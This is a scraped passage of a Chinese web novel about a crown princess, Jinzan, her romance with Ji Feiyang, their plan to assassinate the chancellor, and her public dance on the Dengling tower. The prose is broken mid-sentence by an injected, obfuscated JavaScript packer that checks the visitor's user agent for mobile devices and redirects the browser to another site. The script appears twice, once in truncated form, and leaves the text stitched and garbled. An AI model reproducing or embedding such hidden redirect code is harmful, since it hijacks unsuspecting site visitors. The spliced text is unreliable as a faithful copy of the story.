金簪的思绪落定,轻声道:“很远。大周的西南角,接壤南蜀道府。”她从季飞扬的怀里直起身,又被季飞扬捏着腰肢用力提起。 在金簪的一声低哼下,她被季飞扬侧抱在怀。 她以这样的姿势背靠在他的胸膛,任由秋千将两人荡起来,咯吱丫丫声像是夜色给两人奏的曲子,摇晃的感觉像是行走在滚滚江河里得一叶扁舟。舟上有此刻忘俗的两人。 天凉气清,两人的心是热乎的。 随时间的推移,金簪察觉到他身体的异样变化。这种男人身体上的变化,她已经很熟悉。她一如往常般,假作不知。 她任由腰间的手掐紧,由着他的呼吸喷洒在耳后鬓角,厮磨着想要将两人贴得更紧些。 月色和灼热的气息融成一团,将两人紧紧地包裹起来。 季飞扬的手揉捏她身体的软肉,低声道:“小母猫,你真是个地理通。上古的仙门荷卿派就在那,我是在那边山脚下的青山镇长大。” 他边说边吻在她扬起的颈项,细细得如羽毛般拂过,有力的手臂环绕在她的饱满处,来回地摩擦碰触着,骚动彼此不安的心和躁涌不宁的身体。 “山上有一片云海,广阔无边的渺茫云海。人站在山顶,跟成仙似的。日出时,光芒万丈,将云海染成金色,像是你的名字般嗯……璀璨夺目。” 季飞扬含着她的耳垂,听着她浅浅的低哼,慢且悠长道,“若有机会再见那片云海,我要将你的名字刻在旁边的石崖。” “嗯……为什么?”金簪掀开咬紧的唇齿,不解地仰头,迎面触到他俯下来的唇,“嗯……” 彼此交换气息,令身体随情动而四肢相缠。 在岌岌可危之境,一声轻咳打断两人进一步的深入。 季飞扬狠狠地吻在金簪的脖侧,吸出一朵红梅。 他气急败坏般道:“没有她,我也能克制住的。簪儿,你这磨人精,总是招我又不给我。” 金簪也没好到哪里去,早已大敞着环抱住他,如蛇般黏贴在他的身上,湿润成覆盖明月的云纱,只待掀开那一角。 她喘着、柔声回道:“我说了……让你来矜持。我相信你,但……不信我自己。飞扬……”她一手捧着他的脸颊,一手从他的衣衫中抽离,缱绻道,“我……想你留下陪我。飞扬。” “呵……殿下要草民留下侍寝?”季飞扬掐着她的腰肢,只差最后一层薄裙,彼此就能融为一体。 他想到现下箭在弦上的状况,沉沉的压抑着地笑起来。随后,他仰头深吸口凉气,以平复躁动的身体。 季飞扬将怀里软成一团云泥的金簪抱起来,托着她的圆润,由着她的双足垂在腰身。 他的唇齿离不开金簪的身体,就这样抱着她,穿过靠着树瞧乐闹的女人,穿过无人的宫廊,走入金簪的寝殿。 金簪被缓缓地放躺在寝榻。 她的双手还撩揽在季飞扬的脖子,迟迟不肯放开。她试着往下拉了一点,眉目直直地瞧入他忍耐克制的眼海,轻声求唤:“飞扬,留下来陪我。” 季飞扬顺势俯身,却发现金簪的手按在他的心口位置。 他低低地发笑,猛得用力下沉,亲在她的额头。他明知故问,坏坏道:“真想我留下来?小骗子,你再这样,我要提前取报酬的。嗬……我走了。” 他将手一抽,脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下……爱他吗?”莺歌还是忍不住好奇问道。 【明明是我教出来的徒弟,怎么看起来比我还懂得利用这……本钱?】 “自然。孤爱他,他也爱我。孤感受到了。”金簪垂目一笑,又威严地俯视莺歌,霸气道,“所以,别招惹他。孤看中的男人,不容旁人染指。” 莺歌张口结舌,想也不想就道:“他不过是个教坊司、勾栏里的常客,有祁大人好吗?刚才,他甚至……” 金簪给她一个“你不懂”的眼神,转身离开窗口。 【这两人根本不一样,在孤心里的位置就不一样。至于纾解身体的欲望,季飞扬若敢,大可去做。但他……有孤丢掉的矜持,以及他本身坚守的原则。】 背过身去的金簪伸了下懒腰,高喊南叶来伺候。 沐浴完后一身清爽的金簪如猫般蜷缩在寝殿的床褥,回味被季飞扬拥抱、调动情绪时的爱意和热潮。 她掀合唇齿轻轻地喘息着,待理智回笼,又沮丧道:“原来真的可以将情和身体分离,现实的理智又像是枷锁一样牢牢地束缚它们。飞扬,我好难受……好想……”【招你侍寝。】 ** 这一年大概是夏夔年间最热闹得一年,好似大家约定俗成:虽有干戈,但拖年后。年后轩辕帝若换太女,说不定太女能来一场逼宫,省得天下人入都的麻烦。 毕竟,夏夔之后,犹有二帝么。 京都迎来新年。 新年虽闹,但大家都在为年后十五做准备。 人人都知道年后有登令楼约,大周尊贵的太女要在楼上为百姓跳舞。这是多么有趣的事啊。常人得见歌舞,不是在教坊司,就是在勾栏瓦舍里的登台献艺。 如今这尊贵无比的大金宫竟有人给百姓跳舞,还是堂堂的大周太女,岂不是天下奇观? 比起过年,人人都在期盼元宵的到来,等待千年难得一见的盛况。 凌府内,凌飞上座,其下季闲、殷罗、凌云和掬梅,一家人整整齐齐坐一桌,边吃边讲南旋过年时的吃食。 凌云忘记了对从未见过的父母的怨言,开心得给祖父敬酒,同季飞扬解说新制的木质器械。 晚间,席散时,季飞扬将凌云拎带上屋顶。 两人躺在凉凉的瓦片上,望向那轮钩子似的月牙。 “呵……呵呵……”季飞扬莫名就笑了起来。 凌云睨了他,嫌弃道:“自从你掉进陷进以来,总时不时傻笑。以前,你还说怕我被人卖了给人家数钱。要我说,你才是那个傻子。” “是啊。我成了傻子,那个被月勾儿扯着的星星,近不得远不了。”季飞扬指向月勾附近那颗经年不移的星子,又道,“小阿云,你以后遇到喜欢的人就懂了这感觉。” 凌云也看向那颗被月牙儿吊着的星星,摇头道:“不懂。” 季飞扬含笑侧身,看着他板正的小脸道,“凌云,答应哥一件事。” “不应。我三番五次喊你告诉我坚空竹在哪,你都不肯说。我不应你。”凌云撇开脸道。 “真不应?我要说得就是你梦寐以求的坚空竹消息哦。”季飞扬勾着他的脖子,将少年硬扯过来,“在东面,学海的无涯阁,仁智岛。” 凌云的双眸发亮,随即又怀疑道:“你入宫这么多次,早得了消息吧?为何现在才说?” “啧,早说晚说一个样儿啊,因为你去不了。难道你敢一个人带着掬梅卷包裹往数千里外的东面去?这还得过海、上岛呢。”季飞扬松开他,又笃定道,“这是新年礼物。当然,你也得回礼,答应哥一件事。” “什么事?”凌云的脑海里过着去往学海的地图,一边不解地问道。 “若哪一天你发现哥骗了你,别恨哥。”季飞扬瞧着他质疑的眉眼,哈哈一笑打在他的肩头,“同你开玩笑呢。这么认真干什么?你这孩子,还没凌祖父的年纪就跟老古董一样。” “坚空竹真得在学海?可是,学海真得很远啊。仁智岛又是儒门闲云派的圣地,一般人也上不了岛啊。”凌云将路线划拉出来,觉出季飞扬的话有道理。不过,他是敢去东面的,已经开始琢磨怎么样安全上仁智岛。 季飞扬哎哎地叹了声,提起发愣的凌云一脚飞落地面。 “说起坚空竹就发痴,还真是个小木匠。”他说完后,摇着头要走。 凌云回过神来,高声道:“我答应你。可这大过年的,你去哪呢?” 季飞扬被负疚缠绕的心一下子明媚。他回眸,潇洒地笑道:“自然去会我那颗经年不移的星星。回头见。” “星星?醒醒吧。你才是那颗被月亮吊着的星星。”凌云嫌弃地看了季飞扬的背影,心想:【我这辈子只爱木制,绝不会像你这傻子一样,大冬天大半夜的,为个女人跑出门去。】 他一跺脚,回屋子准备收拾包裹。他已决定这两日就回东都,趁机前往东面的学海。 【无论如何,我都要找到制作木流牛马的主材——坚空竹。完成祖父毕生的愿望】 29. 杀招 正月十五,京中百姓、贵族无不兴致高扬,纷纷上街瞧热闹。 “这就是登令楼,皇宫外的号令宫楼。瞧瞧这阵仗,怕百姓看不到楼台上的场景吗?” “怎么看不见?皇帝就怕旁人不知道他不喜欢太女。” “天下动荡,南北纷乱,皇帝还如此猜忌太女,不仅不喜不信太女,还设此楼台耍弄太女。哎,如此昏庸无道,这天下如何能安?” “哎,你们说这太女长什么模样,今年多大了?” “夏夔十年出生,如今已是夏夔二十五年。你们说,这皇帝是不是……那个不行啊?登基时,他的年纪就不小了,登基十年才得此一女。哎……当时还是季氏掌风瑶兵,领禁军统领职。那时候,风子……” “嘘,你不要命了。这年头可以议论皇家,却不能议论风家。住口吧。”这人说完,远离那位狂言者几步,奈何围观的人多,隔不了几人。 禁军在外驱赶城民,远离登令楼十丈左右。这距离不远不近,好似深怕旁人见不到太女登楼献舞般。 宫侍纠结着面色,在韩丹大内官的令下,上街敲锣打鼓,奔走相告:“金宫墙外登令楼舞,邀天下人赏太女姿。” 百姓纷纷起哄: “传言说:太女去祖地求神,保佑大周盛世长安,以此献祝祷之舞?” “听说是皇帝要立长子金骧为太子,以此羞辱太女,让她迎难而退。” “这女儿家的脸不是脸啊。这狗养的皇帝。皇子多大年纪?才两岁多吧,断奶了么。太女虽说没什么建树,但一直好好的。大周有继,百姓心安。” “就是说。一年前西戎人东进,皇帝带皇子、宫妃逃往东都,太女、皇后镇守京师。太女以酒送行北延骑军,那场面真是令人记忆犹新。如今,寒雪关真被北延兵守住呢。若不是太女镇守金宫,不知道有多少人拖家带口地逃去外地。” “是啊。我也记得那事,西来的难民在城外聚成林,还是沈少傅领太女手谕,带司徒衙门的人帮忙安置。如今,听闻西地安全,他们又陆续回去了。” …… 沈长清和莫云长看着敲锣打鼓的宫侍跑过去,一时沉默了好久。沈长清将袖子一甩,咬牙道:“果是父辱女……” “老师,慎言。”莫云长赶紧提醒,“今日风太宰的探子遍布全城。若是一个不慎,会被抓入司寇大牢。” 沈长清长吸口气,闭目颔首:“殿下会在晡时三刻,日落之前登楼。如今日中刚过,已这般多人、届时人挤人,若发生踩踏,恐不堪设想。你与我去趟司徒衙门,令司徒府衙多注意百姓安全。” 莫云长颔首道:“老师代表得是殿下,咱们现在去府衙提醒司徒大人,正好宣扬天机宫体恤京都百姓的名声。” 他随沈长清边走边道,“老师,殿下那边已经做好准备吧?” “自然。殿下如今智谋武略俱全,她谋划的登楼舞定能惊世传扬。你我只要信任殿下。只是为师啊……同孙老一样,年纪到后反倒看不开,气不过。”沈长清已年过三十有五,正值壮年,却总是志不得抒,不由唉了声。 他一把拍在莫云长的肩头,与他并肩而去。 “以后这天下要交给你们这些年轻志士。” “老师……” ** 金宫内,金簪如往日般在散朝后翻阅旧日奏章,而这奏章上的红批,早已不是轩辕帝的御批,而是风太宰亲批。 “殿下……”杜鹃看着如常的金簪,有些替她担心,“已经到日中一刻,用些吃食吧。” 金簪连眼都没抬,颔首应下。她又道:“多备些肉食,晡时后没机会吃。对了,多备一套碗筷。” “喏。”杜鹃应后,悄悄地擦把湿润的眼角。 她向金簪行一礼,转身离开。 南叶疾步进殿,匆匆道:“回殿下,梵阳那边的人传信:太宰入宫了。” “平安?”金簪扬眸问道。 “安。”南叶低首回道。 金簪放下手中的奏章,微微一笑。 “看来计划失败了。”【却也成功了。】 她起身后走至窗前,眸光微远,望向天际的浮云:“太仆寺没断错。今日确实是个好天气。” 南叶抿唇,轻声道:“殿下。陛下他……” 她看着金簪挺直的后背,又闭紧嘴巴。 金簪知道她要说什么……无非是父皇病重卧床还不忘登令楼的约定罢了。 【孤不在乎,从定下约定那日开始,孤获得轩辕枪法的传承,得到轩辕制甲的秘密,知道大周盛世的根本……孤更知道,人要凭借自身的力量站起来,要借住天下之势而起事。】 “这个约定挺好,天下人都能记住孤,知道孤是大周的太女。” 金簪轻扯唇角,轻轻地笑起来。 她唯一可惜得是“风子鸾的太宰府至金宫宫门前的三道杀招”,均让风子鸾躲过去。 金簪在天机宫的观星楼上对风子鸾起杀心后,一直在揣摩风子鸾的生平和心性变化。 近半年里,她不仅与季飞扬谈情说爱,更多是从季飞扬处了解太宰府的布局、巡逻、护卫,以及太宰府至金宫宫门前的白马大道的两边布局……今日,她与季飞扬为风子鸾量身定制三道行刺关卡。 *过去时* 第一道杀招:风子鸾出府门口得那刻。 太宰府的护卫全是风子鸾在风瑶骑兵中的亲信。遂而,太宰府内巡逻严密,布防比金宫都要森严。在太宰府刺杀风子鸾,无异于自投罗网。好时机也有的,但希望不大。等风子鸾出府上马车得这段时间,便是最佳时机。 金簪指在季飞扬画出的路线、屋宇布局图,朝他道:“以你的说法,太宰府的门前大街没有可以刺杀的好地方,全是平楼,而且风瑶兵日日在外巡逻,谨防有人行刺。 唯独北角的钟楼。因距离太宰府颇远,长弓射不到府门口的人。所以,北角钟楼只作为瞭望地点,而风子鸾也够自信,对此地没有行移平之举,概因戏谑的心态。” 季飞扬不解道:“戏谑……心态?” “你们都想要杀我,且让你们看看,杀不杀得着我。这般自信狂傲的心态。”金簪点指钟楼,含笑道,“他是从风瑶骑兵的马奴出身,过惯苦日子。但他好学好读书,入了当时季明忠的眼,成为他的左膀右臂。 此后,父皇在藏龙山一行时被猛虎惊吓。风子鸾救驾有功,得此机会在父皇的面前露脸。 因风子鸾本身的气度、勤学等诸多内外条件较为优秀,令人对他的印象极深。 自此,他一步登天,崭露头角。 实际上,风子鸾是踩在季氏一族的血肉上位。如今,他的地位已经是常人、士林达不到的高度。在这样的胜果前,他可以傲视三公、瞒骗帝王、戏后宫、入乾明……” 金簪咬牙切齿道完,仰首道,“他自也会傲视民众,笑话他们即使想要刺杀,也只能看得到而杀不着。” 季飞扬从季忠明的话题里抽身,一把揽住金簪的腰肢,沉目间,低声笑道:“看的出来,你恨不得将他碎尸万段。” “自然。孤既要杀他,必要做成。”金簪点在钟楼处,“长弓射程百丈已经是极限,真正能伤人的距离,按书记载,不超过三十丈。在此地射箭,箭矢会掉在大街,或泥瓦屋宇的顶上,或落在风子鸾的面前。” “这有何意义?”季飞扬问道。 “惊弓之鸟,必闻弓弦震而身惊。孤要风子鸾成为……因弓张而笑弦响的鸟儿。此谓之:反其道而行之。”金簪瞧着不能理解的季飞扬,笑道,“你让人在此处,以最大力量射出一箭。惊他一惊,而后令他嘲笑刺客。” “嘲笑我们杀不了他……让他轻敌?”季飞扬懂了点金簪的用意。 “算是。风子鸾必会因此驻足车前,不论他做什么、说什么,一旦停留就是刺客的机会。这便是第二道杀招。” 金簪指在风子鸾会上马车的地点,言道,“你说他府外只禁四十丈范围。此距离外可允旁人出入。 若有人在四十丈外,以筒弩射击,箭穿护军,能否射中风子鸾?” “筒弩力量小,普通暗器飞镖更射不到他。不然,不会有四十丈的规定。”季飞扬想起凌云的风弩和凤凰连弩,颔首道,“除非用重弓。但是,只有筒弩不会被巡逻的风瑶兵盯上。或许,我可以让凌云帮忙打造一把类似重弓的筒弩。” “若能行,便最好。不行也不过让风子鸾开始提高警惕。”金簪将长指沿着白马大道点在一座名为欢喜的酒楼高处,“这是入宫前最佳的埋伏地点,同样是风子鸾重点关注的地方。” “不错,每日他出行前三刻,都会令风瑶骑兵将此地清扫干净,以防有人占据高位,刺杀他。”季飞扬点头道,“我原本是打算派人埋伏在此处。” “但是,沿欢喜楼周围的一圈,全是风瑶骑兵的重甲兵在巡逻。这些是风子鸾防止刺客逃跑的手段。说明,他的车队、马夫、厢轿全是最高的防御等级,且随行有高手护卫。” 金簪点在此处,看向沉吟的季飞扬,轻声道,“此处依然要埋伏人。但是,这个地方将是我方最大的伤亡处,上去的人说不定全军覆没。” 季飞扬瞧入金簪坚定的眉眼,颔首道:“此处我会花重金请人埋伏。” 【天师道埋伏在京都的人就打算埋伏在此。今日若非听她分说,恐怕得死不少人。】 “那你埋伏在欢喜楼的人不用太多。他们也不过是……饵。”金簪沉稳地道,“钟楼长射令他笑,府口筒弩令他惊怒,欢喜楼内的刺客被诛,令他得意而宽心。 季太宰入宫时一定已经很有滋味。” “滋味?被刺杀后、反杀刺客的爽感?如此,我们的刺杀行动不就失败了?”季飞扬蹙眉道。 “第三道杀招,金宫门前。 十五登令楼约,金宫的外宫广场门前定是热闹不凡。禁军会开出一条百官入朝之道。倘若此时有刺客混在人群中,行第三道杀招。” 金簪的长指点在金宫门前,“此处若是成了,百姓疯乱,刺客外逃,有利有弊。” “不错。” 【这个地方就是我为自己准备的刺杀地点。】季飞扬默默想道。 “但是,”金簪转眸看他,点在他的心口道,“你不能在此处行事。” “为何?”季飞扬愣了下,抓住她的手轻揉着。 “因为此处,百疏一密。具体,孤不好说,但是你得请高手埋伏在此处,能杀则杀,不能且退。”金簪说完,将目光望向登令楼的图标,再及距离登令楼远处百丈多的不高不矮的西教坊楼。 “孤要你物色一位神射手,埋伏在……此处。” “西教坊?”季飞扬被整不会,“此处太远,有何用?” “有用。射手的箭矢会落在登令楼,而孤就在登令楼。”金簪将目光落在登令楼后的宫墙高楼,“届时,父皇、风太宰会站在外宫墙楼上,离风子鸾最近,且能杀他的……只有孤。” 季飞扬被震住。这个女人不仅骄傲、自信而且身体力行。 【这猫儿果然勾人。】 他如火的目光灼灼地盯在金簪出神的面容,悸动过后冷静道:“这登令楼也不高,距离宫墙高楼有段射程。即使在射程内,你未必能够单手射中他。不若,我随你上登令楼。” “若是凌云的筒弩研制成功,孤可用筒弩。若是不行,以孤练就的轩辕枪法的力量,同样有一掷之力。届时,日光西坠,长耀于登令楼瓦和外宫高楼,加上金纱制成的金缕玉衣,正是孤的最佳时机。 而你想要上登令楼?登令楼上只有孤,只能是孤。因为父皇怕别人代替孤而蒙混过场。”金簪缓缓地拉扯唇角,笑道,“以不可能行可能之事,正是孤在做之事。” 她一把拢住季飞扬紧窄的腰身,撩眸看入他为她气怒的眼神,柔声道,“如同现在,谁能想到孤会对一为名不经传的少年郎君动情,又将精心的谋划全盘付诸于他。” 季飞扬的神思一荡,俯首吻在她的唇瓣,辗转舔舐,彷如吮蜜。 两人就这样从生涩变为熟稔,对彼此心意、身体的谙熟。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059956|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ** 杜鹃将膳食传进殿,向窗前出神的金簪行礼道:“殿下,请用膳吧。” 金簪颔首,走至桌前。 她看着满桌鱼肉,微微一笑后朝一旁的南叶道:“过来同孤一起坐。” 南叶赶紧跪下,垂首道:“奴婢不敢。” “孤的命令。”金簪垂敛眸光道。 “是。”南叶坐在金簪的身旁,接过杜鹃递来的碗筷,垂目落在筷子处,一声不出。 金簪将盘盏上最精致味美的肉放入南叶的碗,轻声道:“自孤记事,你就在孤的身边照料。至如今已有十三载,你从婉婉少女成为天机宫的掌宫女官,将最好的年华给了孤。 南叶,我本应放你出宫,却……亏待了你。” 南叶的眼泪砸进碗,低首举筷,哽咽着含笑道:“殿下对奴婢有恩。奴婢愿为殿下赴汤蹈火,死而后已。” 她说完,用公筷给金簪夹了菜,而后举起碗盏向金簪一敬,缓缓地吃用起来。 这是上位者的恩典,食君之禄、忠君之事,便是死也要做成接下来的任务。 用完膳后,梵阳来到天机宫,同南叶交接一番,入殿对金簪道:“殿下,太宰没能午睡成。” “好。彼为劳师而力竭,吾将持矢而待之。”金簪从案前起身,凝目在恭敬的梵阳身上,走近道,“如若事成,孤允你为大宫侍。” “谢殿下。”梵阳行过礼,垂落的目光瞧着她离去的金丝云纹长靴,缓缓地勾起了唇角。 舞凰殿内的架子上悬挂两套舞衣,一套正是轩辕皇后令宫廷司制房制作的太女常服,用得是藏青为底色的色泽,宝蓝朱红的孔雀绣图,不仅威严贵气,还特别庄重。当然,这套袍服以常服之名制作,有七套三层,人穿上后包裹严实,同太女正服无异。 另一套是金色罩纱和低胸抹裙,露肩露胸露手露腿,不符太女的身份,却是紫琴君遣祁缙云送入天机宫。 祁缙云转述道:“微臣去西教坊拜见紫琴君,与他喝了三盏酒。他言:轩辕旁支不过问嫡枝宗法,乃是祖制。我可以不参与夺帝之争,但是,对风子鸾不可不防。其次,太女护不住梵阆,令她惨死金宫。这是我……毕生之憾。这是我为梵阆量身打造的金缕玉衣,可惜她此生无缘再穿。殿下师承梵阆,若是她肯穿此衣上登令楼行舞,便是替梵阆还了一愿。而我……应了这祖制,不偏帮轩辕氏任何一人。” 这说得是紫琴君在皇室弟子上位一事中选择中立的条件,金簪得穿此罩纱舞裙上登令楼。 金簪探手摸上透明的金色纱衣,脑海里想:筒弩果不可行。 耳闻宫侍传轩辕皇后进殿,她转身向快步而来的母后行礼。 轩辕皇后踩着时间过来,就是想看太女是否按她的心意打扮妥当。 一入殿,她见着那款薄纱抹胸裙,再见金簪站在此裙衫前,顿时癫怒道:“这是什么?你不穿本宫准备的舞服,难道要穿这套上登令楼?轩辕金簪,你是太女。” 金簪见她疾步走来,行了半礼的动作直接起身。她沉默一下,言道:“今日对孤很重要。孤要世人记住孤的名字。” “你的名字难道是用伤风败俗之举得来吗?你的太女身份就是你最好的名字。”轩辕皇后怒道,“来人,给我将它拿去烧了。” “谁敢?”金簪沉目盯在轩辕皇后旁边的宫婢,厉声道。 “你……”轩辕皇后怒急攻心,如同以往一样挥掌打向金簪的脸颊。 金簪看着那撬开金色甲套的巴掌迎面而来,举手,一把捏住她的手腕。她沉目敛容道:“母后,今日你也要打孤?” “你不循规蹈矩、行事出格,本宫教你如何做。若你不是本宫千辛万苦生出来的孩子,本宫才不会教你。”轩辕皇后挣了下没脱手,怒道,“放开本宫,轩辕金簪。” “呵,”金簪用力一扯,将她高举的手拉至身前。 耳闻她一声低哼,金簪的另一手抚摸上母后外翘的金色指套,缓缓道,“你连打孤都得注意不伤孤这张脸。 有司赤燕,孤的好母后,孤虽是你所生,但是孤于你而言,你可对孤有半分为母之情?你所要所求得不过是孤这个太女的身份。” 她用力一甩,将轩辕皇后的手甩了出去,以至于轩辕皇后往后退了一步。 “轩辕金簪,你反了不成?”轩辕皇后气得血管突跳,被身后的宫婢搀住。她又把宫婢挥开,喊道,“滚出去。” 待得舞凰殿没有人,轩辕皇后看着如根柱子似的女儿,闭目平复心气,指着那套抹胸裙纱道:“不准穿它。今日你若穿它登楼,这天下就说太女……是人尽可夫的……” 在金簪含怒蕴威的眼神下,轩辕皇后终是没将那不堪的字眼吐出来。 金簪看着她明黄凤袍的下摆,淡了紧绷的心,报复般道:“其实,这是紫琴君送来的舞服,为梵阆准备的。母后可还记得梵阆?那位被你用棍棒打死的舞艺司侍,她就出自西教坊,你口中的“人尽可夫”之女。 但是,她此生只服侍过紫琴君一人。 母后,御花园中花圃里的胜争螺黛好生妖艳,常开不败。不知道喜欢它们的母后服侍过……” “住口。”轩辕皇后的脸色溃变,死死地盯在轩辕金簪的脸面,金色的甲套因屈指而蜷缩,扣压在她的手腕脉络。痛,令人冷静。 她愤而转身,侧身不去看她,隐忍道:“随你穿什么。本宫来此是想告诉你一事,你在登令楼受辱,本宫要轩辕夏心爱的子女为此付出代价。” “等等。”金簪看她要走,轻出口气,认真道,“母后,属于孤的东西,谁都夺不走。孤凭本事守得住,无需你手染旁人的鲜血。” “呵,轩辕金簪,你能有多大本事?至今也不过是个毫无实权的傀儡太女,连你手下的朝臣都护不住。母后告诉你,也教你一课,敢抢本宫东西的人,必须得死。”轩辕皇后说完,毫不留恋地转身离去。 金簪微微闭目,轻出口气后望着窗外的仪仗离开。她转身面对两套舞服,低首间轻笑出声:“来人,给孤……梳妆。” 30. 登楼 日落熔金,暮云合璧。 金色的斜阳挥洒在寂寥的英雄大道,穿过京都城门楼上的大周旗,掠过人头颤动的金宫外西广场,直射在大金宫的宫墙楼上。 余阳映在登令楼前的十二座雕纹铜皮大鼓,鼓面绘龙凤和四方神兽战像,似镀层金粉,熠熠生辉。 鼓前分立十二鼓手,其中一人正是额绑红带、坦胸露臂的祁缙云。他向亲手训练出来的十一鼓手颔首,静等长号奏响、百姓静声、楼台号令之刻。 轩辕帝领宫妃、百官登高台。 病色敷脸的轩辕帝被韩丹搀扶上城楼,旁边陪立紫琴君。其后是一脸阴沉的轩辕皇后,再是月舒和丽妃。 往外六卿大臣,以太宰为首,齐上城楼。 太宰暗打哈欠,立在皇后的身边、轩辕帝的后侧,前后有防,不怕箭矢飞来。 外有虎贲军护卫,被严密搜过身的宫女、宫侍林立两旁,再向外沿墙而立是手持长号的礼仗军士,以及背负弓弩、手持刀矛的虎贲军。 南叶带宫婢匆匆至西宫墙楼下,向辛无疚行礼,肃容又委屈道:“辛指挥使,我是天机宫的掌宫——南叶。殿下突感身体不适,请问……能否……不登楼?” “这?”辛无疚肯定做不了主。万众瞩目,只等太女登楼,怎么能不上?便是百姓都不会允诺。 “我做不了主,请上城楼询问陛下。” “这可如何是好?陛下肯定不会答应。”南叶来回踱步,都要哭出来。 辛无疚也急起来,过了时辰不登楼,百姓喧闹可不是玩儿的事。 南叶下沉双肩,朝带来的小宫女道:“没办法了,你随我上楼。我替殿下苦苦哀求陛下。若是不成,你先回去禀殿下。” 小宫女应下。 辛无疚也觉得如此甚好,让宫侍领两人上楼。 一会后,小宫女匆匆下城楼,颊上含泪,直奔内宫道上的太女鸾驾。 辛无疚瞧着这一幕,想来南叶掌宫留在城楼上苦求陛下。然而,她一个宫女,又能做什么? 元宵佳节,融合天气,谁也预料不到连春都没开,慕容涛已经挥戈南下,直破燕门关,往京畿最后的关卡——定山关而来。 慕容涛的左侧,楚甲子一身黑凯凝目前方的定山关,高声道:“义父,前面就是定山关。” 慕容涛笑道:“不错。我燕地四十万大军一过定山关,将万马平川,直冲京都四方平原。江北的天下就属于我们了。不白,北戎深地夺粮草一战,你救了义父。义父允你前锋将军职。今日,为义父拿下定山关,来日封侯拜相,指日可待。” “喏。义父。”楚甲子一拉马缰,领兵往定山关进,【京都,我楚氏甲子回来了。】 ** 斜阳抚在轩辕金簪发髻两侧的金色的长钗,彷如箭尖金芒,左凤右龙的金纹各衔一明珠,悬叼一根红色的长绫。 两指宽的菱纱后是一条特制的透明丝绦,轻薄无重量,但韧不可摧。它被藏在红绫下,一起披在金簪外罩的金色纱衣上。 随帝王微弱得一声“开始吧”,墙楼两侧的宫侍齐齐发令,仪仗军士手中的长号发出长声:“呜呜……” 众被迫或自愿聚集的男女百姓、官家女眷、奴仆、士林人士、各行各业的京都商人、外地商旅、胜争探子、天师道刺客、西戎暗探骤然安静,纷纷凝望离地一丈的古朴楼台。 十丈的距离足以让他们看清披洒斜阳金芒的高耸乌云髻,以及那位身穿金丝罩纱若隐若现曼妙身材的美丽少女。 “出……出来了……” 众人的心中掠过一致的想法:太女真得要跳舞吗? “是……太女……真是太女。” “穿成这样的太女?” “很美……不是吗?” 轩辕金簪穿着金丝白云的抹胸裙,拖曳金色薄透的罩纱,缓步走至登令楼上的矮墙前,彻底暴露在天下百姓的面前。 她坚定的双眸纵览无数的百姓,却看不清、记不住他们或兴奋或警惕或惊诧……的脸。 悠长的目光穿过一众乌压压的人头,似望见远方城墙外的英雄大道。 长号声落,金簪聚气于胸,高声道:“孤,乃是轩辕氏……第八十一代子孙……轩辕金簪。 吾轩辕先祖就是从这个方向……”她的长臂一伸,指向西方,“寒雪关外一路举兵东进,在这片辽阔的大地上建立千余年基业的大周国。 今日,轩辕金簪在此献舞,于天下人前立誓,此生必夺回西六府三城,驱摩尔人于天阙山外,以承先祖之志,以圆天下万民之心。” “朕没有让她开口。韩丹,起鼓……咳咳……”轩辕帝一把推开旁边的韩丹,厉声喊道,“起鼓……咳咳……” “是,陛下。”韩丹面有急色,高声喊道,“起鼓。” 百姓还没从太女的立志中回神,还未来得及叩首见礼,已闻得一声惊天鼓响,继而鼓声接踵而起。 “咚咚咚……”长短相较,如出征之声。 金簪扬袖旋身,一步落定在登令楼台的中央。她旋手拈花,足踩鼓点,舒展身姿向天祈愿。 “那是什么?若隐若现的。” “殿下的身材吗?真正不错啊。” “纱衣下的胸前……那抹金色……是什么?” 人群外的塔楼墙下,季飞扬立定此处,看向那道美妙的身影旋如九天仙女,一时间竟瞧痴了。 【这么高贵的女子啊,落入凡尘与我相爱。然而,她的爱究竟有多少是从纯粹的本心出发?】 下属近季飞扬的耳边,轻声道:“少主,凌云少爷已经穿过东城门,往这边来了。” 季飞扬的目光从登令楼上猛得收回,闻言一愣,诧异道:“他不是离开京都往东都去吗?” 下属又道:“京都盛事,太女登楼,馆驿、行人、商旅都来城里看热闹。这……凌云少爷出走两天就被行人裹挟回来。” “这小子。”季飞扬转身就跑,被下属拉住。 “少主,你去哪里?今日欢喜楼一役,不少天师道教众被抓,若是供出主上和少主,凌府那边也不能回去。何况,主上那还在等你的镜信发箭。”下属也急了。 季飞扬捏紧手中三指宽大小的琉璃镜,拉住他道:“你将他带至此处的塔城楼下,务必保他平安。” “喏。” 远处的西教坊顶楼,季闲和射手季钊明已经准备就绪。 两人合力将弓弦拉开,弦架金色长箭,只待射向明光聚拢之处。 鼓声振聋发聩,激励人心向前。 楼上的女子旋身而立,抽金钗、旋菱纱为落樱,扬四方。 城楼上的人在直射的斜阳下似已看呆、又似无法直视此斜阳画面而撇脸,甚至闭目:这是……太女?岂可如此啊?伤风败俗啊。 楼下的人群将目光落在金簪已经滑落臂弯的金纱,露出的左肩、胸前,乃至整只左臂上若隐若现的金色大翼纹身。 她的后背亦是如此,一只金色的翅膀延展进抹胸裙下,伸至旋开的白色金丝长裙。 在金簪轻旋间,一道镜光滑过来,随之而来的风声伴随利矢疾驰而来。 她的纱衣从高处顺风飘飞而去,她的手一把握住长途奔行的毫无杀伤力的金色箭矢。 纱衣飞扬向众人的头顶,引走围观者的目光。 所有人都想得到这件轻薄飞扬的芳香纱衣,属于美丽太女的罩纱。 